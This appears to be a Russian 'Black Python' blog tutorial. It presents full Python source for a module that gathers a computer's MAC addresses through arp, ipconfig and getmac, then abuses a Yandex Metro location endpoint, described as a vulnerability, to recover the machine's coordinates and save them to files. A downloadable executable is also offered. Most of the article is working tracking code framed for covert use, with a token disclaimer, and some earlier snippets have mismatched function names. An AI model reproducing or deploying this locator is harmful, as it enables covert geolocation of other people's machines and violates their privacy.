Black Python - 3. Geo Position

Black Python - 3. Geo Position

Не забудь подписаться на https://t.me/the_dark_harbor

Привет, друг!

Продолжаем цикл статей Black Python и в этот раз расскажу, как получить местоположение компьютера.


Способ основан на уязвимости Яндекс метро, а данный модуль является лишь автоматизацией по эксплуатации этой уязвимости.


Наверняка, ты уже слышал про эту уязвимость, но, если вдруг нет, то вот для тебя:


То ли яндекс постоянно следит за нами, то ли периодически, но в его базах есть данные о нашем местоположении. Не всех конечно, но шанс получить чьи-то данные неплохие.

Доступ к этому механизму открытый, поэтому и было решено написать подобный модуль по автоматизации процесса поиска.

Заменив [mac] на свой мак адрес и перейдя по ссылке:

http://mobile.maps.yandex.net/celli...strength=-1&wifinetworks=[mac]:-65&app=ymetro

в ответе получите xml документ с одним из трех состояний:

Ошибка - неправильные параметры,

данные не найдены - параметры ок, данных нет,

данные с координатами - успех и xml структура.


Geo Module

Алгоритм программы:

  • Поиск mac адресов на локальном компьютере
  • Генерирование ссылок
  • Запросы-Ответы по ссылкам
  • Разбор ответов


Начнем с описания базовых функций:

Для получения сырых данных, в которых мы можем найти мак адреса, будем использовать модуль subprocess, который даст нам доступ к командной строке.

Создадим список команд, которые могут выдать нам адреса и поочередно пробуем получить ответ от них. Если ответ получен, то запоминаем его, если произошла ошибка, то игнорируем ее.

Python:

import subprocess

def generate_mac_text():
    text_with_mac = []
    # Проход по списку команд
    for command in ['arp -a', 'ipconfig /all', 'ifconfig -a', 'getmac']:
        try:
            # Порождаем процесс command
            process = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE)
            # Получаем результат (как ответ в cmd)
            res = process.communicate()[0].decode('cp866')
            # Добавляем, если не None, ''
            if res: text_with_mac.append(res)
        except:
            # игнорируем ошибку
            pass
    return '\n'.join(text_with_mac)

В результате выполнения функции вернется многострочный текст, состоящий из выводов командной строки на наши запросы.

Для выделения из всех полученных данных нужные нам адреса, воспользуемся модулем регулярных выражений:

Python:

import re
def find_mac(raw_text):
    re_block = r'[a-zA-Z0-9]{2}'
    re_split = r'[\:\-]'
    re_mac = fr'{re_block}{re_split}{re_block}{re_split}{re_block}{re_split}{re_block}{re_split}{re_block}{re_split}{re_block}'
    return [mac for mac in set(re.findall(re_mac, raw_text))]

Запустим полученные функции:

Python:

def main():
    raw_text = generate_mac_text()
    macs = find_mac(raw_text)
    print(macs)
if __name__ == '__main__':
    main()

Мак адреса нашлись, но для строки url нужно избавиться от символов разделения блоков:

Python:

def find_mac(raw_text):
    re_block = r'[a-zA-Z0-9]{2}'
    re_split = r'[\:\-]'
    re_mac = fr'{re_block}{re_split}{re_block}{re_split}{re_block}{re_split}{re_block}{re_split}{re_block}{re_split}{re_block}'
    # Обновление
    return [transform_mac(mac) for mac in set(re.findall(re_mac, raw_text))]

def transform_mac(mac):
    return mac.replace(':', '').replace('-', '').upper()

Первый этап закончен, во втором сгенерируем ссылки и получим ответы на запросы к ним. Добавим две функции:

Python:

def make_link(mac):
    return f"http://mobile.maps.yandex.net/cellid_location/?clid=1866854&lac=-1&cellid=-1&" \
           f"operatorid=null&countrycode=null&signalstrength=-1&wifinetworks={mac}:-65&app=ymetro"

def get_links(macs):
    return [make_link(mac) for mac in macs]

А в main() добавим:

Python:

links = get_links(macs)
print(links)

Для отправки запросов используем модуль urllib.request, вернем список удачных ответов:

Python:

def find_valid_requests(links):
    responses = []
    for link in links:
        try:
            response = urllib.request.urlopen(link)
            responses.append(response.read().decode('utf-8'))
        except:
            pass
    return responses

В полученном списке будут только удачные ответы, так как при ответе <Not found> - вернется 404, что спровоцирует исключение.

Третий этап - разбор структуры xml - получим словарь с координатами:

Python:

def get_coordinates_from_xml(response):
    # поля документа xml, которые ищем
    directions = ['latitude', 'longitude', 'nlatitude', 'nlongitude']
    coords = {}
    try:
        # Парсим запрос
        dom = minidom.parseString(response)
        # рекомендуется выполнять эту функцию - нормализация xml
        dom.normalize()
        # ищем координаты
        coord = dom.getElementsByTagName('coordinates')[0].attributes
        # проходим по всем направлениям и получаем данные из этих полей
        for direct in directions:
            coords.update(get_coordinate(direct, coord))
    except:
        pass

def get_coordinate(direct, coord):
    try:
        return {direct: float(coord[direct].value)}
    except:
        return {direct: None}

Обновленный модуль main() выглядит так:

Python:

def main():
    raw_text = generate_mac_text()
    macs = find_mac(raw_text)
    links = get_links(macs)
    responses = find_valid_response(links)
    for response in responses:
        coord = get_coordinates_from_xml(response)
        print(coord)

Python:

# Аналогичная функция, записанная в две строки
def short_main():
    print(get_coordinates_from_xml(response) for response in find_valid_response(get_links(find_mac(generate_mac_text()))))

На экран будет выведена подобная структура (в случае успеха):

{'latitude': 45.0386581, 'longitude': 39.0996056, 'nlatitude': 45.0395474, 'nlongitude': 39.1008641}


Полученные наработки:

Python:

import re
import subprocess
import urllib.request
from xml.dom import minidom

def generate_mac_text():
    text_with_mac = []
    for command in ['arp -a', 'ipconfig /all', 'ifconfig -a', 'getmac']:
        try:
            process = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE)
            res = process.communicate()[0].decode('cp866')
            if res: text_with_mac.append(res)
        except:
            pass
    return '\n'.join(text_with_mac)

def find_mac(raw_text):
    re_block = r'[a-zA-Z0-9]{2}'
    re_split = r'[\:\-]'
    re_mac = fr'{re_block}{re_split}{re_block}{re_split}{re_block}{re_split}{re_block}{re_split}{re_block}{re_split}{re_block}'
    return [transform_mac(mac) for mac in set(re.findall(re_mac, raw_text))]

def transform_mac(mac):
    return mac.replace(':', '').replace('-', '').upper()

def make_link(mac):
    return f"http://mobile.maps.yandex.net/cellid_location/?clid=1866854&lac=-1&cellid=-1&" \
           f"operatorid=null&countrycode=null&signalstrength=-1&wifinetworks={mac}:-65&app=ymetro"

def get_links(macs):
    return [make_link(mac) for mac in macs]

def find_valid_response(links):
    responses = []
    for link in links:
        try:
            response = urllib.request.urlopen(link)
            responses.append(response.read().decode('utf-8'))
        except:
            pass
    return responses

def get_coordinates_from_xml(response):
    directions = ['latitude', 'longitude', 'nlatitude', 'nlongitude']
    coords = {}
    try:
        dom = minidom.parseString(response)
        dom.normalize()
        coord = dom.getElementsByTagName('coordinates')[0].attributes
        for direct in directions:
            coords.update(get_coordinate(direct, coord))
    except:
        pass
    return coords

def get_coordinate(direct, coord):
    try:
        return {direct: float(coord[direct].value)}
    except:
        return {direct: None}

def main():
    raw_text = generate_mac_text()
    macs = find_mac(raw_text)
    links = get_links(macs)
    responses = find_valid_response(links)
    for response in responses:
        coord = get_coordinates_from_xml(response)
        print(coord)
        
def short_main():
    print(get_coordinates_from_xml(res) for res in find_valid_response(get_links(find_mac(generate_mac_text()))))

if __name__ == '__main__':
    main()

Рефакторинг наработок в класс, добавление конфигов

Пример конфигурации

JSON:

{
  "geo_raw_filename": "result\\geo_raw.json",
  "coord_filename": "result\\geo_coord.json",
  "errors_log": "result\\geo_error.log"
}

geo_raw_filename - путь для сохранения мак адресов и сгенерированных ссылок

coord_filename - путь для сохранения координат

errors_log - путь для сохранения ошибок


Список requirements в данном модуле пуст, все библиотеки стандартные.


Код целиком

additional.py:

import os

def make_folders(path):
    try:
        folder = os.path.dirname(path)
        if folder and not os.path.exists(folder):
            os.makedirs(folder)
    except Exception as e:
        raise FileNotFoundError(f'Folder not create! {e}')

error_log.py:

from additional import make_folders


class ErrorLog:
    def __init__(self):
        self.errors = []

    def add(self, module, error):
        self.errors.append(f'{module} - {error}')

    def error_list(self):
        return self.errors

    def save_log(self, filename='errors.log'):
        make_folders(filename)
        if self.errors and filename:
            with open(filename, 'w') as error_log_file:
                for error in self.errors:
                    error_log_file.write(f'{error}\n')

geo_position.py:

import json
import re
import subprocess
import urllib.request
from xml.dom import minidom
from additional import make_folders
from error_log import ErrorLog


class GeoPosition:
    # Список команд для терминала/командной строки
    commands = ['arp -a', 'ipconfig /all', 'ifconfig -a', 'getmac']

    def __init__(self):
        # Списки мак-адресов, ссылок, ответов и координат
        self.macs, self.links, self.responses, self.coordinates = [], [], [], []
        self.error_log = ErrorLog()
        # Запуск поиска координат
        self.engine()

    def engine(self):
        # ищем сырые данные с мак-адресами
        self.generate_mac_files()
        # Выделяем подходящие маки
        self.find_mac()
        # Генерируем ссылки
        self.get_links()
        # Получаем успешные ответы
        self.find_valid_requests()
        # Получаем координаты для каждого успешного ответа
        for response in self.responses:
            self.get_coordinates_from_xml(response)

    def generate_mac_files(self):
        # Проходим по каждой команде
        for command in GeoPosition.commands:
            try:
                # Создаем подпроцесс с командой
                process = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.DEVNULL)
                # Получаем вывод результата
                res = process.communicate()[0].decode('cp866')
                # Добавляем мак в список
                if res: self.macs.append(res)
            except Exception as e:
                self.error_log.add('geo_position (generate_mac_files)', e)

    def find_mac(self):
        # поиск мак адресов и добавление преобразованных в список
        re_block = r'[a-zA-Z0-9]{2}'
        re_split = r'[\:\-]'
        re_mac = fr'{re_block}{re_split}{re_block}{re_split}{re_block}{re_split}{re_block}{re_split}{re_block}{re_split}{re_block}'
        self.macs = [GeoPosition.transform_mac(mac) for mac in set(re.findall(re_mac, '\n'.join(self.macs)))]

    @staticmethod
    def make_link(mac):
        # Ссылка яндекса с "уязвимостью"
        return f"http://mobile.maps.yandex.net/cellid_location/?clid=1866854&lac=-1&cellid=-1&" \
            f"operatorid=null&countrycode=null&signalstrength=-1&wifinetworks={mac}:-65&app=ymetro"

    @staticmethod
    def transform_mac(mac):
        # Удаление разделителей в мак адресе
        return mac.replace(':', '').replace('-', '').upper()

    def get_links(self):
        self.links = [self.make_link(mac) for mac in self.macs]

    def find_valid_requests(self):
        # для каждой ссылки
        for link in self.links:
            try:
                # пробуем получить ответ на запрос
                response = urllib.request.urlopen(link)
                # и добавить его в список
                self.responses.append(response.read().decode('utf-8'))
            except Exception as e:
                self.error_log.add('geo_position (find_valid_requests)', e)

    def get_coordinates_from_xml(self, response):
        coords = {}
        # направления, для поиска элементов в xml
        directions = ['latitude', 'longitude', 'nlatitude', 'nlongitude']
        try:
            # Парсим ответ
            dom = minidom.parseString(response)
            # Нормализуем структуру
            dom.normalize()
            # Ищем элемент с координатами
            coord = dom.getElementsByTagName('coordinates')[0].attributes
            # Для каждого направления получаем содержание
            for direct in directions:
                coords.update(self.get_coordinate(direct, coord))
            # Добавляем координаты в список
            self.coordinates.append(coords)
        except Exception as e:
            self.error_log.add('geo_position (get_coordinates_from_xml)', e)

    def get_coordinate(self, direct, coords):
        try:
            return {direct: float(coords[direct].value)}
        except Exception as e:
            self.error_log.add('geo_position (get_coordinate)', e)
            return {direct: None}

    def save_raw(self, raw_filename):
        with open(raw_filename, "w") as raw_file:
            json.dump({'macs': self.macs, 'links': self.links}, raw_file)

    def save_coordinates(self, coord_filename):
        if self.coordinates:
            with open(coord_filename, "a") as coord_file:
                json.dump(self.coordinates, coord_file)


# Функия-менеджер, для связи конфигов и модуля geo
def geo_manager(config):
    geo = GeoPosition()
    # Создаем папки для сохранения файлов
    for filename in ['geo_raw_filename', 'coord_filename']:
        make_folders(config[filename])
    # Сохраняем сырые данные, если путь задан
    if config['geo_raw_filename']:
        geo.save_raw(config['geo_raw_filename'])
    # Сохраняем координаты, если путь задан
    if config['coord_filename']:
        geo.save_coordinates(config['coord_filename'])
    # Сохраняем лог ошибок, если путь задан
    if config['errors_log']:
        geo.error_log.save_log(config['errors_log'])


if __name__ == '__main__':
    try:
        # Для изменения конфигурации "на лету" настройки будем получать из файла
        with open('config.json', 'r') as config_file:
            geo_config = json.load(config_file)
        # Запуск механизма с загруженными настройками
            geo_manager(geo_config)
    except Exception as e:
        print(e)


Исходники и исполняемый файл с конфигурацией прикрепляю:

https://mega.nz/#F!Qv5hWaKS!Yx3RCkB6iaNcB8CX3awCmw



Данная статья создана исключительно для ознакомления и не призывает к действию!

Report Page